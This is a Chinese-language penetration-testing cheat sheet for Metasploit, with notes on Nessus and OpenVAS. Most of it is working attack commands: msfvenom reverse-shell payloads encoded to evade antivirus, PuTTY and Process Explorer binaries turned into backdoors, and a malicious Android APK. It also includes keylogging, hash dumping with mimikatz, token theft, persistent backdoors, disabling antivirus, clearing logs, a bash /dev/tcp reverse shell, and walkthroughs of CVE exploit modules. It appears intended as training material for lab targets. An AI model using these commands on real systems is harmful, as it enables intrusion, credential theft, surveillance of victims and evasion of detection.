漏洞利用技术

漏洞利用技术

  1. Metasploit框架的强大之处就是提供了大量的渗透测试模块和插件。模块按照不同用途可以分为7种类型,分别是Exploits(渗透攻击模块)、Auxiliary(辅助模块)、Post(后渗透攻击模块)、Payloads(攻击载荷模块)、Encoders(编码器模块)、Nops(空指令模块)和Evasion(规避模块)。

  2. Nessus号称是世界上最流行的漏洞扫描程序,工具提供完整的电脑漏洞扫描服务,并随时更新其漏洞数据库。实施的漏洞扫描包括:网络设备、虚拟主机、操作系统、数据库、Web应用程序、危害检测等。

    load nessus													# Metasploit载入Nessus桥插件
    nessus_help													# 查看Nessus桥插件支持的所有命令
    nessus_connect username:password@address:8834				# 登录到Nessus服务器
    nessus_policy_list											# 查看服务器上所有已经定义的扫描策略
    nessus_scan_new												# 命令创建扫描任务
    nessus_scan_launch <scan ID>								# 启动扫描任务
    nessus_scan_list											# 查看扫描运行的状态
    nessus_report_hosts <scan ID>								# 查看其扫描报告
    nessus_report_host_details <scan ID> <host ID>				# 查看其中某台主机的漏洞信息
    nessus_report_vulns <scan ID>								# 查看具体的漏洞信息
    vulns --rhosts 192.168.1.104								# 查看具体的漏洞信息
    
  3. OpenVAS(开放式漏洞评估系统)是一个客户端/服务器架构,它常用来评估目标主机上的漏洞。OpenVAS是Nessus项目的一个分支,它提供的产品是完全免费的apt-get update && apt-get install openvas* -y

    changeme -a <target>										# 弱密码探查
    openvas-setup 												# 初始化openvas库
    openvasmd --user=admin --new-password=123.com				# 初始化密码
    openvas-check-setup 										# 检查安装完整性
    netstat -anptul												# 检查服务状态
    # 设置外部访问
    vi /usr/lib/systemd/system/greenbone-security-assistant.service
        [Service]
        Type=simple
        PIDFile=/var/run/gsad.pid
        ExecStart=/usr/sbin/gsad --foreground --listen=0.0.0.0 --port=9392 --mlisten=0.0.0.0 --allow-header-host=192.168.19.132 --mport=9390
    vi /etc/default/openvas-manager
    	MANAGER_ADDRESS=0.0.0.0
    vi /etc/default/greenbone-security-assistant
        GSA_ADDRESS=0.0.0.0
        MANAGER_ADDRESS=0.0.0.0
    
    openvas-stop                                                # 停止OpenVAS服务
    openvas-start                                               # 启动OpenVAS服务
    https://127.0.0.1:9392/										# 登录:amdin:123.com
    
    unix-privesc-check [standard|detailed]						# 检查linux错误配置:standard标准模式、detailed详细模式
    # 手动查找漏洞信息
    http://cve.mitre.org/data/refs/refmap/source-MS.html		# CVE的管理网站地址为
    https://technet.microsoft.com/en-us/security/bulletins		# 微软漏洞官网地址
    
    openvas-setup												# 下载并更新库
    openvasmd --user=admin --new-password=password				# 修改密码
    openvas-check-setup											# 检查是否安装成功
    netstat -ntlp												# 查看监听的端口
    openvas-start												# 启动服务
    https://127.0.0.1:9392										# 登录OpenVAS服务
    openvas-setup												# 重启服务
    # Metasploit中远程调用OpenVAS服务
    load openvas												# 加载Openvas插件
    openvas_help												# 查看模块支持的所有命令
    openvas_connect username password host port <ssl-confirm>	# 命令登录到OpenVAS服务器
    openvas_target_create <name> <hosts> <comment>				# 创建扫描目标
    openvas_config_list											# 查看下扫描配置列表
    openvas_task_create <name> <comment> <config_id> <target_id>	
    															# 创建扫描任务
    openvas_task_start <id>										# 启动扫描任务
    openvas_task_list											# 查看扫描任务的进度
    openvas_report_list											# 查看下扫描报告列表
    openvas_format_list											# 查看支持的扫描报告格式
    openvas_report_download	<ID>								# 命令下载扫描报告
    
  4. 为了区分不同扫描任务,Metasploit提供了工作区。每个工作区都保存相关任务的各种信息。不同工作区之间的信息相互独立,避免数据混淆。所以,在进行渗透攻击前,用户需要准备不同的工作区,将扫描结果分开保存。

    db_nmap -sP 192.168.59.0/24									# 扫描网络中存在的主机
    db_import <filename>										# 导入扫描报告
    db_export -f <format> [filename]							# 工作区所有的数据进行备份
    analyze 192.168.59.131										# 对目标主机192.168.59.131进行预分析
    
    # 工作区管理
    workspace													# 列出工作区
         -h														# 显示帮助信息
         -a work1												# 添加指定名称的工作区
         -r work1 work2											# 重命名工作区
         -v 													# 显示工作区详细信
         -d work1												# 删除指定名称的工作区
         -D														# 删除所有工作区
    
    # 管理主机信息
    hosts [ options ] [addr1 addr2 ...]							# 列出主机信息
    	-a,--add												# 添加主机
    	-d,--delete												# 删除主机
    	-c<col1,col2>											# 列出指定的列
    	-C<col1,col2>											# 与-c选项含义相同,但是使用后,如果不重启数据库,以后使用只列出-C指定的列
    	-h,--help												# 显示帮助信息
    	-u,--up													# 只显示开放的主机
    	-o<file>												# 将结果保存到CSV格式的文件中
    	-O<column>												# 按照指定列排序
    	-R,--rhosts												# 将搜索的结果作为RHOSTS选项的值
    	-S,--search												# 指定字符串进行搜索
    	-i,--info												# 修改主机info信息
    	-n,--name												# 修改name列的信息
    	-m,--comment											# 修改comment列的信息
    	-t,--tag												# 为主机信息添加标签
    
    # 管理模块操作
    use <modulepath>											# 加载模块
    show options												# 查看模块
    set [option] [value]										# 修改选项
    setg [option] [value]										# 全局选项
    unset [option]												# 重置选项
    save														# 保存配置
    check														# 查有效性
    exploit														# 实施攻击
    edit														# 编辑模块
    back														# 退出模块
    
    use auxiliary/scanner/portscan/tcp							# 使用模块
    	
    
    # 管理服务信息
    services [options] [addr1 addr2 ...]						# 列出服务信息
    	-a,--add												# 添加服务
    	-d,--delete												# 删除服务
    	-c<col1,col2>											# 仅显示指定列的服务
    	-h,--help												# 显示帮助信息
    	-s<name1,name2>											# 指定服务名称进行搜索
    	-p<port1,port2>											# 指定端口号进行搜索
    	-r<protocol>											# 只显示基于TCP/UDP协议的服务
    	-u,--up													# 只显示开启的服务
    	-o<file>												# 将结果保存到CSV格式的文件中
    	-O<column>												# 按照指定列排序
    	-R,--rhosts												# 将搜索的结果作为RHOSTS选项的值
    	-S,--search												# 指定字符串进行搜索
    
    # 管理认证信息
    creds [filter options] [address range]						# 查看认证信息
    	add user:admin password:pass realm:workgroup			# 添加认证信息,可添加的认证信息字段
    		user												# 用户名
            password											# 密码
            ntlm												# NTLM哈希值
            ssh-key												# SSH-Key文件
            hash												# 不可重放哈希值
            realm												# 域
            realm-type											# 域的类型
    	-d														# 删除全部的认证信息
    	-P,--password <regex>									# 根据密码进行过滤
    	-p,--port <portspec>									# 根据端口过滤
    	-s <svc names>											# 根据服务过滤
    	-u,--user <regex>										# 根据用户过滤
    	-t,--type <type>										# 根据类型进行过滤
    	-O,--origins < origins >								# 根据起源过滤
    	-o <file.csv>											# 认证信息保存到文件中
    	-R														# 为模块的RHOSTS进行赋值
    
    # 管理战利品
    loot <options>												# 查看战利品
    	-a,--add												# 添加地址列
    	-d,--delete												# 删除所有列
    	-f,--file												# 从文件中导入
    	-i,--info												# 添加的info列的内容
    	-t<type1,type2>											# 指定列的类型搜索
    	-S,--search												# 指定搜索使用的关键词
    	-h,--help												# 显示帮助信息
    
    # 管理备注信息
    notes [options] [addr range]								# 查看备注信息
    	-a,--add												# 添加新的备注信息
    	-d,--delete												# 删除备注信息
    	-n,--note<data>											# 为设置备注内容。其中,data表示数据
    	-t<type1,type2>											# 搜索指定类型列的备注信息
    	-h,--help												# 显示帮助信息
    	-R,--rhosts												# 将搜索的结果作为RHOSTS选项的值
    	-S,--search												# 指定字符串进行搜索
    	-o,--output												# 将结果保存到CSV格式的文件中
    	--sort<field1,field2>									# 字段排序
    
    # 管理漏洞信息
    vulns [options] [addr range]								# 查看漏洞信息
        -o<file>												# 将输出信息保存到CSV格式文件中
        -p,--port<portspec>										# 显示指定端口的漏洞信息
        -s<svc names>											# 显示指定服务名称的漏洞信息
        -R,--rhosts												# 将搜索到的结果主机设置为RHOSTS的选项值
        -S,--search												# 指定字符串进行过滤
        -i,--info												# 显示info列的信息
        -h,--help												# 显示帮助信息
    db_rebuild_cache											# 重建数据缓存
    msfconsole													# 启动终端
    show all													# 查看模块的详细信息
    
    # 搜索特定模块
    search [word]
    	app														# 指定client和server攻击的模块
    	author													# 通过模块作者名称进行查找
    	bid														# 根据Bugtraq ID来查询模块
    	cve														# 根据CVE ID来查询模块
    	edb														# 根据Exploit-DB ID来查询模块
    	name													# 根据名称来查询模块
    	osvdb													# 根据OSVDB ID来查询模块
    	platform												# 根据模块级别来查询,缩小查询范围
    	ref														# 根据ref来查询模块
    	type													# 根据类型来查询模块。如类型为exploit、auxiliary或post
    
    # 过滤结果
    grep http search oracle
        -A<opt>													# 显示一个匹配输出后的行
        -B<opt>													# 显示一个匹配输出前的行
        -c														# 仅显示一组匹配行
        -h														# 显示帮助信息
        -i														# 忽略实例
        -k<opt>													# 保留输出开始的行
        -m<opt>													# 匹配一个结果后停止
        -s<opt>													# 跳过尝试匹配前的输出结果
        -v														# 反向匹配
    
    # 渗透攻击类模块(exploit)
    use exploit/multi/ssh/sshexec 								# multi/ssh/sshexec是一个渗透攻击类模块
        info													# 查看该模块的详细信息
        set RHOSTS 192.168.1.106            					# 设置目标主机
        set PASSWORD msfadmin                					# 设置密码
        set USERNAME msfadmin                					# 设置用户名
        unset													# 重新设置
        setg													# 全局变量设置
        save													# 命令保存
        exploit													# 实施攻击
        
    # 辅助模块(auxiliar)
    use auxiliary/scanner/mysql/mysql_login						# 选择mysql_login辅助模块,mysql登录爆破
        set RHOSTS 192.168.1.102
        set THREADS 10
        set user_file /root/usernames.txt
        set pass_file /root/passwords.txt
        run
        
    # 攻击载荷(Payload)
    run post/linux/gather/enum_system							# 使用enum_system后渗透模块获取目标主机的系统信息
    use exploit/multi/ssh/sshexec								# 通过linux/x86/shell/bind_tcp攻击载荷来获得与目标主机的Shell交互
    	set payload linux/x86/shell/bind_tcp					# 加载攻击载荷
    	set RHOSTS 192.168.1.105
    	set PASSWORD 123456
    	exploit
    	
    # IDS/IPS会检查数据包是否合规则,在攻击载荷生成时用到nops文件夹下的NOPs修改(nops)
    # 编码模块(Encoders)
    ./msfvenom -p windows/meterpreter/bind_tcp RHOST=192.168.1.104 --platform windows -a x86 -e x86/shikata_ga_nai -f exe > msf.exe					
    															# 使用x86/shikata_ga_nai编码创建攻击载荷
    # 插件(Plugins)
    	load													# 查看加载插件的方法
    	load sqlmap												# 加载SQLmap插件
    	help sqlmap												# 查看该插件支持的所有命令
    sqlmapapi -s -p 8775										# 需要启动sqlmapapi
        sqlmap_connect 127.0.0.1								# 连接到sqlmapapi
        sqlmap_new_task 										# 创建一个新的任务
        sqlmap_start_task 1 'www.baidu.com'						# 启动新建的任务
        sqlmap_list_tasks										# 查看任务列表
        sqlmap_get_status 1										# 查看扫描状态
        sqlmap_get_data 1										# 获取扫描的漏洞信息
        sqlmap_get_log 1 										# 查看扫描任务运行的日志信息
    
    # 规避模块(Evasion),使用windows_defender_exe规避模块,生成一个Windows EXE文件来规避Windows Defender程序
    use windows/windows_defender_exe
        show options
        run														# 生成一个规避文件
        
    # 模块扩展,导入第三方模块,渗透测试代码库网站(http://www.exploit-db.com/)
    cd /root/.msf4/modules
    mkdir -p exploits/window/logs/ 
    mv /root/.msf4/modules/module.rb ./module.rb
    
    # 动态加载模块,临时使用和临时关闭
    
    loadpath [modulespath]										# 用来从一个路径中搜索并加载第三方模块
    load [var=val var=val ...]									# 加载模块
    unload [module]												# 卸载模块
    
    
    jobs [option]												# 查看任务
        -K														# 列出终端运行的所有任务
        -h														# 显示帮助信息
        -i<opt>													# 列出一个任务的详细信息
        -k<opt>													# 指定终端的任务名称
        -l														# 列出所有运行任务
        -v														# 显示更详细信息
    kill <ID>													# 结束任务
    
  5. 扩展功能,为了加强Metasploit的漏洞利用功能,Metasploit还提供了一些扩展模块和其他功能,如Meterpreter、Msfvenom和免杀功能。

    # Meterpreter是Metasploit框架的一个扩展模块,这些功能包括反追踪、纯内存工作模式、密码哈希值获取、权限提示、跳板攻击等。
    # 捕获控制设备信息
    # 捕获屏幕
    screenshot													# 捕获目标主机当前正在显示的屏幕
    run sound_recorder											# 录制目标主机中麦克风的声音,默认录制30秒的声音
    # 获取键盘记录
    run post/windows/capture/keylog_recorder					# keylog_recorder模块来获取键盘记录信息
    keyscan_start 												# 启动键盘输入
    keyscan_dump 												# 捕获键盘输入
    keyscan_stop 												# 停止捕获
    
    # 提升权限
    getuid														# 查看获取到的权限等级
    shell                                     					# 进入PowerShell
    exit                                						# 退出PowerShell终端
    getsystem                                 					# 提升权限
    
    # 挖掘用户名和密码
    run post/windows/gather/hashdump							# 获取系统所有的用户名和密码哈希值
    use exploit/windows/smb/psexec								# 使用psexec模块实现哈希值传递
    	set payload windows/meterpreter/reverse_tcp				# 选择攻击载荷
    	set LHOST 192.168.1.105        							# 设置攻击主机地址
    	set LPORT 443               							# 设置端口号
    	set RHOSTS 192.168.1.104        						# 设置目标主机地址
    	set SMBUser Administrator    							# 指定用户名
    	set SMBPass 44efce164ab921caaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4                            
        														# 指定用户的密码哈希值
    	exploit
    
    # 破解纯文本密码
    load mimikatz												# 加载mimikatz模块
    help														# 查看mimikatz模块下有效的命令
    msv															# 使用msv命令恢复哈希密码
    kerberos													# 获取Kerberos(网络认证协议)信息
    
    # 假冒令牌
    ps															# 使用ps命令列出当前运行的应用程序及运行这些应用的用户账号
    steal_token <PID>											# 盗取管理员用户的令牌
    use incognito 												# 加载incognito模块
    list_tokens -u												# 列举所有的令牌
    impersonate_token BENET \\domainadmin						# 假冒域管理员身份
    add_user abc password -h 192.168.1.104						# 此时用户可以以管理员身份进行一些操作
    
    # 恢复目标主机删除的文件
    background 													# 后台运行Meterprete会话
    use post/windows/gather/forensics/							# 使用recovery_files模块
        recovery_files 
        show options 
        set DRIVE E:
        set SESSION 1
        run														# 启动渗透攻击
        set FILES txt											# 选择恢复后缀名为.txt的文件
        run
    
    # 通过跳板攻击其他机器,这里可以使用在scripts/meterpreter/目录中的Meterpreter外部脚本来实现
    # 成功获取到了Meterpreter会话
    run get_local_subnets 										# 查看目标系统上的子网
    route add [IP] [make] [ID]									# 将攻击会话放到后台运行,并且添加路由条目
    background                     								# 将会话放到后台,其会话ID为1
    route add 192.168.1.0 255.255.255.0 1    					# 添加路由条目
    route print													# 查看添加的路由条目
    load auto_add_route											# 自动添加路由
    
    # 使用Meterpreter脚本
    run [scriptname]
    run post/windows/manage/migrate 
    migrate [PID]												# 迁移进程
    2.关闭杀毒软件
    run killav 													# killav扩展脚本来停止相关进程
    run hashdump 												# 获取系统密码哈希值
    run packetrecorder -i 1										# 查看目标机上的所有流量
    run scraper 												# 获取系统信息
    sessions -i 1												# 激活Meterpreter会话
    run persistence -X -i 50 -p 443 -r 192.168.1.104			# 创建持久后门
    background 			
    # 使用multi/handler模块进行监听,等待目标主机反向连接到攻击主机
    use multi/handler
        set payload windows/meterpreter/reverse_tcp
        set LHOST 192.168.1.105
        set LPORT 443
        exploit
    
    # 将命令行Shell升级为Meterpreter
    use exploit/multi/samba/usermap_script 
    show options
    set RHOST 192.168.1.106
    exploit -z
    sessions -u 1												# 将命令行Shell会话1升级为Meterpreter
    sessions 
    sessions -i 2
    sessions -i 1
    irb															# 清除踪迹
    log = client.sys.eventlog.open('system')					# 设置想要删除的日志
        log=client.sys.eventlog.open('system')
        log=client.sys.eventlog.open('security')
        log=client.sys.eventlog.open('application')
        log=client.sys.eventlog.open('directory service')
        log=client.sys.eventlog.open('dns server')
        log=client.sys.eventlog.open('file replication service')
    log.clear													# 清除日志
    clearev 													# 清除日志
    msfvenom [option]											# MSF攻击载荷生成器
        -p|--payload<payloadname>								# 指定使用的payload攻击载荷
        --payload-options										# 列出Payload的标准选项
        -l|--list<type>											# 列出一个模块类型。可指定的模块类型包括payloads、encoders、nops和all
        -n|--nopsled<len>										# 指定生成的攻击载荷长度
        -f|--format<format>										# 指定生成的攻击载荷格式
        -e|--encoder<encoder>									# 使用的编码方式
        -a|--arch<arch>											# 使用的架构
        --platform<platform>									# 使用的平台
        -s|--space<len>											# 生成攻击载荷的最大尺寸
        -b|--bad-chars<strlist>									# 指定需要规避的字符列表,如'\x00\xff'
        -i|--iterations<count>									# 指定进行编码的次数
        -c|--add-code<path>										# 指定一个额外的win32 shellcode文件
        -x|--template<path>										# 指定一个自定义的可执行文件作为模板使用
        -k|--keep												# 配置攻击载荷在一个独立的线程中启动
        -o|--out												# 保存攻击载荷
        -v|--var-name<name>										# 指定用于某些输出格式的自定义变量名称
        --smallest												# 尽可能生成最小的攻击载荷
    # 生成一个用于攻击Windows 7 sp1的Meterpreter攻击载荷,并利用shikata_ga_nai编码方式
    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=192.168.1.105 LPORT=443 -f exe > payload.exe
    upload backdoor.exe
    use exploit/multi/handler                 					# 选择用于反向连接的监听模块
    set payload windows/meterpreter/reverse_tcp
    show options       
    set LHOST 192.168.1.105
    set LPORT 443
    exploit
    sysinfo 
    
    # 免杀技术
    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=192.168.1.108 LPORT=443 -f raw | msfvenom -a x86 --platform win -e x86/alpha_upper -i 2 -f raw | msfvenom -a x86 --platform platform win -e x86/shikata_ga_nai -i 5 -f raw | msfvenom -a x86 --platform win -e x86/countdown -i 5 -f exe -o /root/payload.exe
    															# 多重编码
    wget https://live.sysinternals.com/Files/ProcessExplorer.zip
    mkdir work
    unzip ProcessExplorer.zip -d work/
    msfvenom -p windows/meterpreter/reverse_tcp -x work/procexp.exe -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=192.168.1.108 LPORT=443 -o /root/backdoor.exe							 # 自定义可执行文件模板
    wget http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
    msfvenom -p windows/meterpreter/reverse_tcp -x /root/putty.exe -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=192.168.1.108 LPORT=443 -k -o /root/putty_backdoor.exe					# 隐秘启动一个攻击载荷
    upx -5 payload.exe -q										# 加壳软件
    
  6. 漏洞利用

    #Windows系统
    
    ## Microsoft Windows远程溢出漏洞——CVE-2012-0002
    search CVE-2012-0002
    use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
    show options 
    set RHOSTS 192.168.1.106
    exploit 
    
    ## MS11-003(CVE-2001-0036)漏洞
    search MS11-003
    use exploit/windows/browser/ms11_003_ie_css_import 
    show options 
    set SRVHOST 192.168.1.105
    exploit 
    sessions 
    sessions -i 1
    sysinfo 
    
    ## MS03-026(CVE-2003-0352)漏洞
    search CVE-2003-0352
    use exploit/windows/dcerpc/ms03_026_dcom 
    show options 
    set RHOSTS 192.168.1.103
    exploit 
    
    ## IE浏览器的激光漏洞利用
    use exploit/windows/browser/ms10_002_aurora
    set payload windows/meterpreter/reverse_tcp
    show options 
    set SRVPORT 80
    set URIPATH /
    set LHOST 192.168.1.108
    set LPORT 443
    exploit 
    run migrate -f
    
    ## 浏览器自动攻击模块
    search autopwn
    use auxiliary/server/browser_autopwn
    set payload windows/meterpreter/reverse_tcp
    show options 
    set LHOST 192.168.1.108                                                                       
    set URIPATH /
    exploit 
    sessions 
    sessions -i 1
    
    ## 利用AdobeReader漏洞——CVE-2010-1240
    use exploit/windows/fileformat/adobe_pdf_embedded_exe
    show options 
    exploit 
    
    ## 扫描配置不当的Microsoft SQL Server
    search mssql_ping
    use auxiliary/scanner/mssql/mssql_ping 
    show options 
    set RHOSTS 192.168.1.103
    set THREADS 255
    run
    
    
    # Linux系统
    
    ## 利用Samba服务usermap_script漏洞
    search usermap_script
    use exploit/multi/samba/usermap_script
    show options 
    set RHOSTS 192.168.1.102
    exploit 
    sessions
    
    ## IRC后台守护程序漏洞
    search irc
    use exploit/unix/irc/unreal_ircd_3281_backdoor 
    show options 
    set RHOSTS 192.168.1.107
    exploit 
    
    ## Samba匿名共享目录可写入漏洞
    use auxiliary/admin/smb/samba_symlink_traversal 
    show options 
    smbclient -L //192.168.1.102
    set RHOSTS 192.168.1.102
    set SMBSHARE tmp
    exploit 
    smbclient //192.168.1.102/tmp
    
    ## 是否允许匿名用户登录
    use auxiliary/scanner/ftp/anonymous 
    show options 
    set RHOSTS 192.168.1.101
    run
    
    ## 获取目标主机的root权限
    search vsftpd
    use exploit/unix/ftp/vsftpd_234_backdoor 
    show options 
    set RHOSTS 192.168.1.101
    exploit 
    
    
    ## 渗透攻击MySQL数据库
    
    # 判断数据库是否允许外链
    use auxiliary/scanner/mysql/mysql_version 
    set RHOSTS 192.168.1.105
    exploit 
    
    
    # 实施暴力破解密码
    use auxiliary/scanner/mysql/mysql_login 
    set RHOSTS 192.168.1.105
    set PASS_FILE /root/passwords.txt
    set USERNAME root
    exploit 
    
    # 枚举数据库信息
    use auxiliary/admin/mysql/mysql_enum 
    set RHOSTS 192.168.1.105
    set USERNAME root
    set PASSWORD 123456
    exploit 
    
    # 导出Hash值并破解
    use auxiliary/scanner/mysql/mysql_hashdump 
    show options 
    set RHOSTS 192.168.1.105
    set USERNAME root
    set PASSWORD 123456
    exploit 
    loot 
    use auxiliary/analyze/jtr_mysql_fast  
    exploit 
    
    # MySQL认证漏洞利用(CVE-2012-2122)
    use auxiliary/scanner/mysql/mysql_authbypass_hashdump 
    show options 
    set RHOSTS 192.168.1.105
    exploit 
    
    # 利用MOF提权
    use exploit/windows/mysql/mysql_mof 
    show options 
    set RHOSTS 192.168.1.109
    set USERNAME root
    set PASSWORD 123456
    exploit 
    
    # Android系统
    
    msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168. 1.108 LPORT=4444 R > /root/android.apk
    
    apt-get install zipalign
    keytool [option]
        -genkey													# 在用户主目录中创建一个默认文件.keystore,还会产生一个mykey的别名。mykey中包含用户的公钥、私钥和证书。
        -alias													# 产生别名。
        -keystore												# 指定秘钥库的名称(产生的各类信息将不在.keystore文件中)。
        -keyalg													# 指定密钥的算法,如RSA、DSA。如果不指定的话,默认使用DSA。
        -validity												# 指定创建的证书有效期天数,默认为90天。
        -keysize												# 指定秘钥长度。
        -storepass												# 指定秘钥库的密码(获取keystore信息所需的密码)。
        keypass													# 指定别名条目的密码(私钥的密码)。
        -dname													# 指定证书拥有者信息。例如:"CN=名字与姓氏,OU=组织单位名称,O=组织名称,L=城市或区域名称,ST=州或省份名称,C=单位的两字母国家代码"。
        -list													# 显示密钥库中的证书信息。
        -export													# 将指定的证书导出到文件中。
        -file													# 指定导出到文件的文件名。
        -delete													# 删除密钥库中的某个条目。
        -printcert												# 查看导出的证书信息。
        -keypasswd												# 修改密钥库中指定的条目口令。
        -storepasswd											# 修改keystore口令。
        -import													# 将已签名的数字证书导入密钥库。
    
    keytool -genkey -v -keystore /root/key.keystore -alias android -keyalg RSA -keysize 2048 -validity 365 -storepass 123456 -dname "CN= Android,OU=Google,O=Google,L=IL,ST=NY,C=US"
    
    jarsigner [option] jarfilename								# 使用JARsigner工具签名APK
        -verbose												# 签名/验证时输出详细信息
        -sigalg													# 签名算法的名称
        -digestalg												# 摘要算法的名称
        -keystore												# 秘钥库位置
    jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore /root/key.keystore /root/android.apk android
    jarsigner -verify -verbose -certs /root/android.apk
    
    zipalign -v 4 [APKfile] [new APKfile]						# 使用zipalign验证该APK文件
    zipalign -v 4 /root/android.apk /root/pentest.apk
    
    # 攻击载荷文件APK已经准备完成。接下来将该APK文件发送到目标Android系统,然后启动Metasploit监听器,等待与目标主机的连接。具体方法如下:
    use exploit/multi/handler
    set payload android/meterpreter/reverse_tcp
    show options
    set LHOST 192.168.1.108            							# 设置监听主机地址
    exploit                         							# 启动监听
    sysinfo 													# 查看目标系统信息
    
    # 网站
    
    # 渗透攻击Tomcat服务
    # 利用tomcat_mgr_login模块,暴力破解目标主机(Metasploitable 2)下Tomcat服务的用户名和密码
    use auxiliary/scanner/http/tomcat_mgr_login 
    show options
    set RHOSTS 192.168.1.107
    set RPORT 8180
    exploit
    
    # 利用tomcat_mgr_deploy模块做进一步渗透
    search tomcat_mgr_deploy
    use exploit/multi/http/tomcat_mgr_deploy 
    show options 
    set RHOSTS 192.168.1.107
    set USERNAME tomcat
    set PASSWORD tomcat
    set RPORT 8180
    exploit
    
    
    # CVE-2010-0425漏洞
    search CVE-2010-0425
    use auxiliary/dos/http/apache_mod_isapi 
    show options 
    set RHOSTS 192.168.1.102
    exploit 
    
    # 探测网站是否启用WebDAV
    use auxiliary/scanner/http/webdav_scanner
    show options 
    set RHOSTS 192.168.1.0/24
    exploit 
    
    # Oracle Java SE远程拒绝服务漏洞(CVE-2012-0507)
    search CVE-2012-0507
    use exploit/multi/browser/java_atomicreferencearray 
    show options 
    exploit 
    
    
    # Java零日漏洞(CVE-2012-4681)
    use exploit/multi/browser/java_jre17_exec 
    show options 
    show targets 
    set target 1
    set payload windows/meterpreter/reverse_tcp
    set LHOST 192.168.1.108
    set SRVHOST 192.168.1.108
    exploit 
    
    
    # 端口扫描
    search portscan
    use auxiliary/scanner/portscan/syn 
    show options 
    set RHOSTS 192.168.1.105
    set THREADS 50
    run
    
    # 服务版本扫描
    search ftp_version
    use auxiliary/scanner/ftp/ftp_version 
    show options 
    set RHOSTS 192.168.1.101
    run
    
    # 扫描服务弱口令
    search postgresql
    use auxiliary/scanner/postgres/postgres_login
    show options
    set RHOSTS 192.168.1.101
    exploit
    
  7. 辅助功能

       connect [option]											# 连接主机
           -C														# 对于EOL序列尝试使用CRLF
           -p<opt>													# 指定源端口
           -s<opt>													# 指定源地址
           -c<opt>													# 指定使用的Comm端口
           -h														# 显示帮助信息
           -i<opt>													# 发送一个文件的内容
           -p<opt>													# 列出使用的代理
           -s														# 使用SSL连接
           -u														# 切换到一个UDP套接字
           -w<opt>													# 指定连接超时值
           -z														# 仅尝试连接
       
       resource path1 [path2...]									# 批处理
       resource version.rc 										# 将version命令保存到version.rc文件中。然后可以通过resource命令来加载该文件
       
       # 在资源文件中设置攻击目标和攻击载荷等参数
       vim autoexploit.rc
           use exploit/windows/smb/ms08_067_netapi
           set RHOST 192.168.1.109
           set PAYLOAD windows/meterpreter/reverse_tcp 
           set LHOST 192.168.1.105
           exploit
       resource /root/autoexploit.rc 
       ./msfconsole -r /root/autoexploit.rcbash -c 'bash -i >&/dev/tcp/127.0.0.1/4444 2>&1 0>&1'
        
       
       sessions [id]												# 会话管理
           -C<opt>													# 运行一个Meterpreter命令
           -K														# 保持所有终端会话
           -c<opt>													# 运行一个命令
           -h														# 显示帮助信息
           -i<opt>													# 进入指定会话ID的交互模式
           -k<opt>													# 结束指定会话的ID
           -l														# 列出所有活跃会话
           -q														# 安静模式
           -r														# 重置会话的缓冲
           -s<opt>													# 运行一个脚本
           -t<opt>													# 设置一个响应超时值,默认是15
           -u<opt>													# 升级一个Shell到Meterpreter会话
           -v														# 列出会话详细信息
           -x														# 显示扩展信息
       
       route[add/remove] subnet netmask [comm/sid]					# 使用路由
       route [add/remove] cidr [comm/sid]
       route [get]
       route [flush]
       route[print]
           add														# 添加一个路由
           remove													# 删除一个路由。del是一个别名
           flush													# 删除所有路由
           get														# 显示指定目标的路由
           print													# 显示所有活动路由
       
       # Nessus是一款知名的漏洞扫描工具。Metasploit提供了Nessus插件,可以直接调用Nessus,方便两个工具的衔接。用户在Metasploit中加载该插件后,则可以使用该插件提供的命令来连接Nessus服务器,并以远程方式来实施漏洞扫描。本附录将详细介绍Nessus插件的使用。
       
       # 使用Nessus服务器
       nessus_connect username:password@serveraddress:8834			# 连接服务器
       
       # 快速连接
       nessus_save 												# 保存当前的登录认证信息
       nessus_connect 												# 快速连接到Nessus服务器
       nessus_logout												# 退出登录
       
       # 查看服务器状态
       nessus_server_properties									# 显示Nessus服务器信息
       nessus_server_status										# 检查服务器状态
       nessus_admin 												# 检查用户是否为管理员
       nessus_folder_list											# 列出服务器所有配置目录
       nessus_scanner_list											# 列出所有扫描器
       # 使用策略模版
       nessus_template_list scan									# 列出扫描模板
       nessus_template_list policy									# 列出所有策略模板
       nessus_policy_list -S searchterm							# 查看用户创建的所有策略模板
       nessus_policy_del <policy ID>								# 删除策略模版
       nessus_policy_list
       
       # 管理扫描任务
       nessus_scan_list -S searchterm								# 列出所有扫描任务
       scan_details <scan ID> <category> -S searchterm				# 查看指定任务的详细信息
       nessus_scan_details 6 info									# 查看扫描ID为6的扫描任务的详细信息
       nessus_scan_details 6 vulnerabilities						# 查看扫描任务的漏洞详细信息
       nessus_scan_new <UUID of Policy> <Scan name> <Description> <Targets>
       															# 创建新任务
       nessus_db_scan <policy ID> <scan name> <scan description>	# 基于db_hosts表创建扫描任务
       nessus_db_scan_workspace <policy ID> <scan name> <scan description> <workspace>
       															# 基于指定工作区的db_host表创建扫描任务
       # 运行扫描任务
       nessus_scan_launch <scan ID>								# 启动任务
       nessus_scan_pause <scan id>									# 暂停任务
       nessus_scan_pause_all										# 暂停所有任务
       nessus_scan_stop <scan id>									# 停止任务
       nessus_scan_stop_all 										# 停止所有扫描任务
       nessus_scan_list 											# 查看扫描任务列表
       nessus_scan_resume <scan id>								# 恢复暂停的任务
       nessus_scan_resume_all 										# 恢复所有暂停的任务
       
       # 查看报告
       nessus_scan_export <scan ID> <export format>				# 生成扫描报告
       nessus_scan_export_status <scan ID> <file ID>				# 查看导出任务的状态
       
       # 分析报告
       nessus_report_hosts <scan ID> -S searchterm					# 获取主机列表
       nessus_report_vulns <scan ID>								# 获取漏洞列表
       nessus_report_host_details <scan ID> <host ID>				# 获取指定主机的详细信息
       nessus_db_import <scan ID>									# 导入报告
       
       # 管理插件
       nessus_family_list -S searchterm							# 查看插件家族
       nessus_plugin_list <Family ID>								# 查看插件
       nessus_plugin_details <Plugin ID>							# 列出插件详细信息
       
       # 管理用户
       nessus_user_list											# 查看现有用户
       nessus_user_passwd <User ID> <New Password>					# 修改用户密码
       nessus_user_add <username> <password> <permissions> <type>	# 添加用户,32、64和128;local或LDAP
